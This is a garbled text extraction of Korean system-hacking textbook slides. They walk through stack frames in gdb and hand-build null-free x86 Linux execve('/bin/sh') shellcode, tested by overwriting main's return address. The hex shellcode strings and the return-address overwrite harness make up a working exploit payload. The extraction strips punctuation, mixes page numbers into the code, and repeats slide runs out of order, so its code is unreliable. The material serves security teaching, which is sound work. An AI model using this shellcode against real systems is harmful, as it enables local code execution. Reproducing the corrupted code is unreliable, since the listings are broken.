movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 59: 80×86  시스템에 대한 이해

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 60: 80×86  시스템에 대한 이해

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

